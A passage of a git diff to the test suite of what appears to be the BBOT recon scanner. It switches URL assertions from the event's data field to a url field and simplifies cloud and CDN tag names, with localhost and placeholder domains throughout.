"IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33"]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) @@ -827,9 +827,9 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): events = [e async for e in scan.async_start()] - assert any(e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://www-dev.test.notreal:8888/") + assert any(e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://www-dev.test.notreal:8888/") # the hostname is in-scope, but its IP is blacklisted, therefore we shouldn't see it - assert not any(e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://www-prod.test.notreal:8888/") + assert not any(e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://www-prod.test.notreal:8888/") assert 'Not forwarding DNS_NAME("www-prod.test.notreal", module=excavate' in caplog.text and 'because it has a blacklisted DNS record' in caplog.text @@ -898,7 +898,7 @@ async def handle_event(self, event): # there are actually 2 URL events. They are both from the same URL, but one was extracted by the full URL regex, and the other by the src/href= regex. # however, they should be deduped by scan_ingress. - bad_url_events = [e for e in dummy_module.events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/asdf.js"] + bad_url_events = [e for e in dummy_module.events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/asdf.js"] assert len(bad_url_events) == 1 # they should both be internal assert all(e.internal is True for e in bad_url_events) diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index c9c2f0b889..6a09fa8156 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -365,11 +365,11 @@ class DummyModule(BaseModule): async def handle_event(self, event): if event.type == "DNS_NAME" and event.data == "evilcorp.com": - await self.emit_event("www.evilcorp.com", "DNS_NAME", parent=event, tags=["cdn-cloudflare"]) + await self.emit_event("www.evilcorp.com", "DNS_NAME", parent=event, tags=["cloudflare"]) if event.type == "DNS_NAME" and event.data == "www.evilcorp.com": - await self.emit_event("www.evilcorp.com:80", "OPEN_TCP_PORT", parent=event, tags=["cdn-cloudflare"]) - await self.emit_event("www.evilcorp.com:443", "OPEN_TCP_PORT", parent=event, tags=["cdn-cloudflare"]) - await self.emit_event("www.evilcorp.com:8080", "OPEN_TCP_PORT", parent=event, tags=["cdn-cloudflare"]) + await self.emit_event("www.evilcorp.com:80", "OPEN_TCP_PORT", parent=event, tags=["cloudflare"]) + await self.emit_event("www.evilcorp.com:443", "OPEN_TCP_PORT", parent=event, tags=["cloudflare"]) + await self.emit_event("www.evilcorp.com:8080", "OPEN_TCP_PORT", parent=event, tags=["cloudflare"]) dummy = DummyModule(scan=scan) scan.modules["dummy"] = dummy diff --git a/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py b/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py index 436328a47f..787ecbdba1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py +++ b/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py @@ -298,7 +298,7 @@ def check(self, module_test, events): # URL_UNVERIFIED also gets cleaned (query string removed) assert any( - e.type == "URL_UNVERIFIED" and e.data == "https://authfs.example.com/adfs/ls/" and "ms-auth-url" in e.tags + e.type == "URL_UNVERIFIED" and e.url == "https://authfs.example.com/adfs/ls/" and "ms-auth-url" in e.tags for e in events ), "Should emit URL_UNVERIFIED for federation URL" diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py index 03b98b8dd0..cbf1a8c2d4 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py @@ -26,7 +26,7 @@ async def handle_event(self, event): self.events_seen.append(event.data) url = "http://bad.dns:8888/" url_event = self.scan.make_event( - url, "URL", parent=self.scan.root_event, tags=["cdn-cloudflare", "in-scope", "status-401"] + url, "URL", parent=self.scan.root_event, tags=["cloudflare", "in-scope", "status-401"] ) if url_event is not None: await self.emit_event(url_event) diff --git a/bbot/test/test_step_2/module_tests/test_module_bevigil.py b/bbot/test/test_step_2/module_tests/test_module_bevigil.py index 7e616752fa..7f1cb5d79d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bevigil.py +++ b/bbot/test/test_step_2/module_tests/test_module_bevigil.py @@ -25,7 +25,7 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" - assert any(e.data == "https://asdf.blacklanternsecurity.com/" for e in events), "Failed to detect url" + assert any(e.url == "https://asdf.blacklanternsecurity.com/" for e in events), "Failed to detect url" class TestBeVigilMultiKey(TestBeVigil): diff --git a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py index 02477aadca..a0a879d5ae 100644 --- a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py +++ b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py @@ -163,13 +163,13 @@ def check(self, module_test, events): ) # Check URL_UNVERIFIED events - assert any(e.type == "URL_UNVERIFIED" and e.data == "http://1.2.3.4/" for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and e.url == "http://1.2.3.4/" for e in events), ( "Failed to detect HTTP URL" ) - assert any(e.type == "URL_UNVERIFIED" and e.data == "https://1.2.3.4/" for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and e.url == "https://1.2.3.4/" for e in events), ( "Failed to detect HTTPS URL" ) - assert any(e.type == "URL_UNVERIFIED" and e.data == "https://1.2.3.4:8443/admin" for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and e.url == "https://1.2.3.4:8443/admin" for e in events), ( "Failed to detect HTTPS URL on port 8443" ) diff --git a/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py b/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py index 709337476d..bf1a457f0a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py +++ b/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py @@ -32,22 +32,26 @@ async def setup_after_prep(self, module_test): for event in (ip_event, other_event2): await module.handle_event(ip_event) - assert "cloud-google" in ip_event.tags - assert "google-ip" in ip_event.tags + assert "google" in ip_event.tags + assert "cloud" in ip_event.tags + # check host_metadata has structured info + assert "8.8.8.8" in ip_event.host_metadata + assert "google" in ip_event.host_metadata["8.8.8.8"]["cloud_providers"] + assert ip_event.host_metadata["8.8.8.8"]["cloud_providers"]["google"]["match"] == "ip" for event in (aws_event1, aws_event2, aws_event4, other_event3): await module.handle_event(event) - assert "cloud-amazon" in event.tags, f"{event} was not properly cloud-tagged" + assert "amazon" in event.tags, f"{event} was not properly cloud-tagged" + assert "cloud" in event.tags, f"{event} was not properly cloud-tagged" - assert "amazon-domain" in aws_event1.tags - assert "amazon-cname" in other_event3.tags + # check match types in host_metadata + assert aws_event1.host_metadata["amazonaws.com"]["cloud_providers"]["amazon"]["match"] == "domain" + assert other_event3.host_metadata["asdf.amazonaws.com"]["cloud_providers"]["amazon"]["match"] == "cname" for event in (aws_event3, other_event1): await module.handle_event(event) - assert "cloud-amazon" not in event.tags, f"{event} was improperly cloud-tagged" - assert not any(t for t in event.tags if t.startswith("cloud-") or t.startswith("cdn-")), ( - f"{event} was improperly cloud-tagged" - ) + assert "amazon" not in event.tags, f"{event} was improperly cloud-tagged" + assert "cloud" not in event.tags, f"{event} was improperly cloud-tagged" google_event1 = scan.make_event("asdf.googleapis.com", parent=scan.root_event) google_event2 = scan.make_event("asdf.google", parent=scan.root_event) @@ -56,7 +60,8 @@ async def setup_after_prep(self, module_test): for event in (google_event1, google_event2, google_event3): await module.handle_event(event) - assert "cloud-google" in event.tags, f"{event} was not properly cloud-tagged" + assert "google" in event.tags, f"{event} was not properly cloud-tagged" + assert "cloud" in event.tags, f"{event} was not properly cloud-tagged" await scan._cleanup() @@ -69,8 +74,6 @@ def check(self, module_test, events): if e.type == "STORAGE_BUCKET" and e.data["name"] == "asdf" and str(e.module) == "cloudcheck" - and "cloud-amazon" in e.tags - and "amazon-domain" in e.tags and e.scope_distance == 1 ] ) @@ -81,8 +84,6 @@ def check(self, module_test, events): if e.type == "STORAGE_BUCKET" and e.data["name"] == "asdf2" and str(e.module) == "cloudcheck" - and "cloud-google" in e.tags - and "google-domain" in e.tags and e.scope_distance == 0 ] ) diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbimi.py b/bbot/test/test_step_2/module_tests/test_module_dnsbimi.py index c9b9b8757c..5ceb9f44a4 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsbimi.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsbimi.py @@ -78,7 +78,7 @@ def check(self, module_test, events): # This should not be filtered by a default BBOT configuration assert any( - e.type == "URL_UNVERIFIED" and e.data == "https://bimi.test.localdomain/certificate.pem" for e in events + e.type == "URL_UNVERIFIED" and e.url == "https://bimi.test.localdomain/certificate.pem" for e in events ), "Failed to emit URL_UNVERIFIED" # These should be filtered simply due to distance diff --git a/bbot/test/test_step_2/module_tests/test_module_dnscaa.py b/bbot/test/test_step_2/module_tests/test_module_dnscaa.py index cd1546fb1b..8f3a614fe5 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnscaa.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnscaa.py @@ -46,7 +46,7 @@ def check(self, module_test, events): ) assert any(e.type == "DNS_NAME" and e.data == "pki.goog" for e in events), "Failed to detect CA DNS name" assert any( - e.type == "URL_UNVERIFIED" and e.data == "https://caa.blacklanternsecurity.notreal/" for e in events + e.type == "URL_UNVERIFIED" and e.url == "https://caa.blacklanternsecurity.notreal/" for e in events ), "Failed to detect URL" assert any(e.type == "EMAIL_ADDRESS" and e.data == "caa@blacklanternsecurity.notreal" for e in events), ( "Failed to detect email address" diff --git a/bbot/test/test_step_2/module_tests/test_module_dnstlsrpt.py b/bbot/test/test_step_2/module_tests/test_module_dnstlsrpt.py index 61900b9189..d33ac11904 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnstlsrpt.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnstlsrpt.py @@ -46,7 +46,7 @@ def check(self, module_test, events): assert any(e.type == "EMAIL_ADDRESS" and e.data == "test@on.thirdparty.com" for e in events), ( "Failed to detect third party email address" ) - assert any(e.type == "URL_UNVERIFIED" and e.data == "https://tlspost.example.com/" for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and e.url == "https://tlspost.example.com/" for e in events), ( "Failed to detect third party URL" ) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 5adc7565df..299cc9f1c5 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -107,7 +107,7 @@ def check(self, module_test, events): assert any( e.type == "URL_UNVERIFIED" - and e.data == "http://127.0.0.1:8888/relative.html" + and e.url == "http://127.0.0.1:8888/relative.html" and "spider-max" not in e.tags and "endpoint" in e.tags and "extension-html" in e.tags @@ -117,12 +117,12 @@ def check(self, module_test, events): ) assert any( - e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/2/depth2.html" and "spider-max" in e.tags + e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/2/depth2.html" and "spider-max" in e.tags for e in events ) assert any( - e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/distance2.html" and "spider-max" in e.tags + e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/distance2.html" and "spider-max" in e.tags for e in events ) @@ -168,17 +168,17 @@ def check(self, module_test, events): for e in events: if e.type == "URL_UNVERIFIED": # these cases represent the desired behavior for parsing relative links - if e.data == "http://127.0.0.1:8888/rootrelative.html": + if e.url == "http://127.0.0.1:8888/rootrelative.html": root_relative_detection = True - if e.data == "http://127.0.0.1:8888/subdir/pagerelative1.html": + if e.url == "http://127.0.0.1:8888/subdir/pagerelative1.html": page_relative_detection_1 = True - if e.data == "http://127.0.0.1:8888/subdir/pagerelative2.html": + if e.url == "http://127.0.0.1:8888/subdir/pagerelative2.html": page_relative_detection_2 = True # these cases indicates that excavate parsed the relative links incorrectly - if e.data == "http://127.0.0.1:8888/pagerelative.html": + if e.url == "http://127.0.0.1:8888/pagerelative.html": root_page_confusion_1 = True - if e.data == "http://127.0.0.1:8888/subdir/rootrelative.html": + if e.url == "http://127.0.0.1:8888/subdir/rootrelative.html": root_page_confusion_2 = True assert root_relative_detection, "Failed to properly excavate root-relative URL" @@ -202,7 +202,7 @@ async def setup_before_prep(self, module_test): def check(self, module_test, events): found_js_url_event = bool( - [e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/script.js"] + [e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/script.js"] ) found_excavate_jwt_finding = bool( [ @@ -243,10 +243,10 @@ def check(self, module_test, events): [ e for e in events - if e.type == "URL_UNVERIFIED" and e.data == "https://www.test.notreal/yep" and e.scope_distance == 1 + if e.type == "URL_UNVERIFIED" and e.url == "https://www.test.notreal/yep" and e.scope_distance == 1 ] ) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/relative/owa/"]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/relative/owa/"]) assert 1 == len( [ e @@ -307,7 +307,7 @@ async def setup_before_prep(self, module_test): def check(self, module_test, events): assert len([e for e in events if e.type == "URL_UNVERIFIED"]) == 2 assert ( - len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/endpoint"]) == 1 + len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/endpoint"]) == 1 ) @@ -320,7 +320,7 @@ def check(self, module_test, events): [ e for e in events - if e.type == "URL_UNVERIFIED" and e.data.startswith("http://127.0.0.1:8888/endpoint?") + if e.type == "URL_UNVERIFIED" and e.url.startswith("http://127.0.0.1:8888/endpoint?") ] ) == 1 @@ -336,7 +336,7 @@ def check(self, module_test, events): [ e for e in events - if e.type == "URL_UNVERIFIED" and e.data.startswith("http://127.0.0.1:8888/endpoint?") + if e.type == "URL_UNVERIFIED" and e.url.startswith("http://127.0.0.1:8888/endpoint?") ] ) == 10 @@ -408,7 +408,7 @@ async def setup_before_prep(self, module_test): def check(self, module_test, events): assert any(e.data == "asdffoo.test.notreal" for e in events) - assert any(e.data == "https://asdffoo.test.notreal/some/path" for e in events) + assert any(e.url == "https://asdffoo.test.notreal/some/path" for e in events) class TestExcavateURL_IP(TestExcavate): @@ -419,7 +419,7 @@ async def setup_before_prep(self, module_test): def check(self, module_test, events): assert any(e.data == "127.0.0.2" for e in events) - assert any(e.data == "https://127.0.0.2/some/path" for e in events) + assert any(e.url == "https://127.0.0.2/some/path" for e in events) class TestExcavateSerializationNegative(TestExcavate): @@ -1170,7 +1170,7 @@ def check(self, module_test, events): for e in events: if e.type == "URL_UNVERIFIED": - if e.data == "http://127.0.0.1:8888/spider": + if e.url == "http://127.0.0.1:8888/spider": if str(e.module) == "excavate" and "spider-danger" in e.tags and "spider-max" in e.tags: found_url_unverified_spider_max = True if ( @@ -1179,7 +1179,7 @@ def check(self, module_test, events): and "spider-max" not in e.tags ): found_url_unverified_dummy = True - if e.type == "URL" and e.data == "http://127.0.0.1:8888/spider": + if e.type == "URL" and e.url == "http://127.0.0.1:8888/spider": found_url_event = True assert found_url_unverified_spider_max, "Excavate failed to find /spider link" diff --git a/bbot/test/test_step_2/module_tests/test_module_ffuf_shortnames.py b/bbot/test/test_step_2/module_tests/test_module_ffuf_shortnames.py index 4a5748f8fb..fe2d923aaa 100644 --- a/bbot/test/test_step_2/module_tests/test_module_ffuf_shortnames.py +++ b/bbot/test/test_step_2/module_tests/test_module_ffuf_shortnames.py @@ -200,21 +200,21 @@ def check(self, module_test, events): for e in events: if e.type == "URL_UNVERIFIED": - if e.data == "http://127.0.0.1:8888/administrator.aspx": + if e.url == "http://127.0.0.1:8888/administrator.aspx": basic_detection = True - if e.data == "http://127.0.0.1:8888/directory/": + if e.url == "http://127.0.0.1:8888/directory/": directory_detection = True - if e.data == "http://127.0.0.1:8888/adm_portal.aspx": + if e.url == "http://127.0.0.1:8888/adm_portal.aspx": prefix_detection = True - if e.data == "http://127.0.0.1:8888/abcconsole.aspx": + if e.url == "http://127.0.0.1:8888/abcconsole.aspx": delimiter_detection = True - if e.data == "http://127.0.0.1:8888/adm_directory/": + if e.url == "http://127.0.0.1:8888/adm_directory/": directory_delimiter_detection = True - if e.data == "http://127.0.0.1:8888/xyzdirectory/": + if e.url == "http://127.0.0.1:8888/xyzdirectory/": prefix_delimiter_detection = True - if e.data == "http://127.0.0.1:8888/short.pl": + if e.url == "http://127.0.0.1:8888/short.pl": short_extensions_detection = True - if e.data == "http://127.0.0.1:8888/newproxy.aspx": + if e.url == "http://127.0.0.1:8888/newproxy.aspx": subword_detection = True assert basic_detection diff --git a/bbot/test/test_step_2/module_tests/test_module_github_org.py b/bbot/test/test_step_2/module_tests/test_module_github_org.py index 96054d863c..b7290a2660 100644 --- a/bbot/test/test_step_2/module_tests/test_module_github_org.py +++ b/bbot/test/test_step_2/module_tests/test_module_github_org.py @@ -417,7 +417,7 @@ def check(self, module_test, events): e for e in events if e.type == "URL_UNVERIFIED" - and e.data == "https://github.com/blacklanternsecurity" + and e.url == "https://github.com/blacklanternsecurity" and e.scope_distance == 1 ] ) diff --git a/bbot/test/test_step_2/module_tests/test_module_gowitness.py b/bbot/test/test_step_2/module_tests/test_module_gowitness.py index 528cc3abec..aee3181673 100644 --- a/bbot/test/test_step_2/module_tests/test_module_gowitness.py +++ b/bbot/test/test_step_2/module_tests/test_module_gowitness.py @@ -55,11 +55,9 @@ def check(self, module_test, events): assert len(screenshots) == 1, ( f"{len(screenshots):,} .jpeg files found at {screenshots_path}, should have been 1" ) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/"]) - assert 1 == len( - [e for e in events if e.type == "URL_UNVERIFIED" and e.data == "https://fonts.googleapis.com/"] - ) - assert 0 == len([e for e in events if e.type == "URL" and e.data == "https://fonts.googleapis.com/"]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/"]) + assert 1 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "https://fonts.googleapis.com/"]) + assert 0 == len([e for e in events if e.type == "URL" and e.url == "https://fonts.googleapis.com/"]) assert 1 == len( [e for e in events if e.type == "SOCIAL" and e.data["url"] == "http://127.0.0.1:8888/blacklanternsecurity"] ) diff --git a/bbot/test/test_step_2/module_tests/test_module_httpx.py b/bbot/test/test_step_2/module_tests/test_module_httpx.py index fe8a2681b3..aad0df03b2 100644 --- a/bbot/test/test_step_2/module_tests/test_module_httpx.py +++ b/bbot/test/test_step_2/module_tests/test_module_httpx.py @@ -68,9 +68,9 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): assert 1 == len( - [e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and "status-301" in e.tags] + [e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and "status-301" in e.tags] ) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "https://127.0.0.1:9999/"]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "https://127.0.0.1:9999/"]) class TestHTTPX_Redirect(ModuleTestBase): @@ -84,13 +84,13 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): assert 1 == len( - [e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and "status-301" in e.tags] + [e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and "status-301" in e.tags] ) assert 1 == len( [ e for e in events - if e.type == "URL_UNVERIFIED" and e.data == "http://www.evilcorp.com/" and "affiliate" in e.tags + if e.type == "URL_UNVERIFIED" and e.url == "http://www.evilcorp.com/" and "affiliate" in e.tags ] ) assert 1 == len( @@ -121,9 +121,9 @@ def check(self, module_test, events): assert 4 == len([e for e in events if e.type == "URL_UNVERIFIED"]) assert 3 == len([e for e in events if e.type == "HTTP_RESPONSE"]) assert 3 == len([e for e in events if e.type == "URL"]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/"]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/test.aspx"]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/test.txt"]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/"]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/test.aspx"]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/test.txt"]) assert not any(e for e in events if "URL" in e.type and ".svg" in e.data) assert not any(e for e in events if "URL" in e.type and ".woff" in e.data) @@ -136,14 +136,14 @@ async def setup_after_prep(self, module_test): module_test.httpserver.expect_request("/").respond_with_data('') def check(self, module_test, events): - assert [e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/test.php"] + assert [e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/test.php"] class TestHTTPX_querystring_notremoved(TestHTTPX_querystring_removed): config_overrides = {"url_querystring_remove": False} def check(self, module_test, events): - assert [e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/test.php?foo=bar"] + assert [e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/test.php?foo=bar"] class TestHTTPX_custom_headers(ModuleTestBase): diff --git a/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py b/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py index 3bd5c721b1..fa2c8df5cc 100644 --- a/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py +++ b/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py @@ -96,7 +96,7 @@ def check(self, module_test, events): for e in events: if e.type == "FINDING" and "iis-magic-url" not in e.tags: magicurl_findingEmitted = True - if e.type == "URL_HINT" and e.data == "http://127.0.0.1:8888/BLSHAX~1": + if e.type == "URL_HINT" and e.url == "http://127.0.0.1:8888/BLSHAX~1": url_hintEmitted = True if e.type == "FINDING" and "Possible backup file (zip) in web root" in e.data["description"]: zip_findingEmitted = True diff --git a/bbot/test/test_step_2/module_tests/test_module_oauth.py b/bbot/test/test_step_2/module_tests/test_module_oauth.py index 746ef40cb3..99e19dccca 100644 --- a/bbot/test/test_step_2/module_tests/test_module_oauth.py +++ b/bbot/test/test_step_2/module_tests/test_module_oauth.py @@ -260,4 +260,4 @@ def check(self, module_test, events): == "Potentially Sprayable OAUTH Endpoint (domain: evilcorp.com) at https://evilcorp.okta.com/oauth2/v1/token" for e in events ) - assert any(e.data == "https://sts.windows.net/cc74fc12-4142-400e-a653-f98bdeadbeef/" for e in events) + assert any(e.url == "https://sts.windows.net/cc74fc12-4142-400e-a653-f98bdeadbeef/" for e in events) diff --git a/bbot/test/test_step_2/module_tests/test_module_portfilter.py b/bbot/test/test_step_2/module_tests/test_module_portfilter.py index af4d228688..0003d0189e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_portfilter.py +++ b/bbot/test/test_step_2/module_tests/test_module_portfilter.py @@ -17,14 +17,14 @@ async def handle_event(self, event): "www.blacklanternsecurity.com:443", "OPEN_TCP_PORT", parent=event, - tags=["cdn-ip", "cdn-amazon"], + tags=["cdn", "amazon"], ) # when portfilter is enabled, this should be filtered out await self.emit_event( "www.blacklanternsecurity.com:8080", "OPEN_TCP_PORT", parent=event, - tags=["cdn-ip", "cdn-amazon"], + tags=["cdn", "amazon"], ) await self.emit_event("www.blacklanternsecurity.com:21", "OPEN_TCP_PORT", parent=event) diff --git a/bbot/test/test_step_2/module_tests/test_module_robots.py b/bbot/test/test_step_2/module_tests/test_module_robots.py index 10a4107375..7749c6bbde 100644 --- a/bbot/test/test_step_2/module_tests/test_module_robots.py +++ b/bbot/test/test_step_2/module_tests/test_module_robots.py @@ -24,13 +24,13 @@ def check(self, module_test, events): if e.type == "URL_UNVERIFIED": if str(e.module) != "SEED": assert "spider-danger" in e.tags, f"{e} doesn't have spider-danger tag" - if e.data == "http://127.0.0.1:8888/allow/": + if e.url == "http://127.0.0.1:8888/allow/": allow_bool = True - if e.data == "http://127.0.0.1:8888/disallow/": + if e.url == "http://127.0.0.1:8888/disallow/": disallow_bool = True - if e.data == "http://127.0.0.1:8888/sitemap.txt": + if e.url == "http://127.0.0.1:8888/sitemap.txt": sitemap_bool = True if re.match(r"http://127\.0\.0\.1:8888/\w+/wildcard\.txt", e.data): diff --git a/bbot/test/test_step_2/module_tests/test_module_securitytxt.py b/bbot/test/test_step_2/module_tests/test_module_securitytxt.py index 0fa897c222..f6bf31c883 100644 --- a/bbot/test/test_step_2/module_tests/test_module_securitytxt.py +++ b/bbot/test/test_step_2/module_tests/test_module_securitytxt.py @@ -25,7 +25,7 @@ def check(self, module_test, events): "Failed to detect email address" ) assert not any( - e.type == "URL_UNVERIFIED" and e.data == "https://blacklanternsecurity.notreal/.well-known/security.txt" + e.type == "URL_UNVERIFIED" and e.url == "https://blacklanternsecurity.notreal/.well-known/security.txt" for e in events ), "Failed to filter Canonical URL to self" assert not any(str(e.data) == "vdp@example.com" for e in events) @@ -39,12 +39,12 @@ class TestSecurityTxtEmailsFalse(TestSecurityTxt): def check(self, module_test, events): assert not any(e.type == "EMAIL_ADDRESS" for e in events), "Detected email address when emails=False" - assert any(e.type == "URL_UNVERIFIED" and e.data == "https://vdp.example.com/" for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and e.url == "https://vdp.example.com/" for e in events), ( "Failed to detect URL" ) - assert any(e.type == "URL_UNVERIFIED" and e.data == "https://example.com/cert" for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and e.url == "https://example.com/cert" for e in events), ( "Failed to detect URL" ) - assert any(e.type == "URL_UNVERIFIED" and e.data == 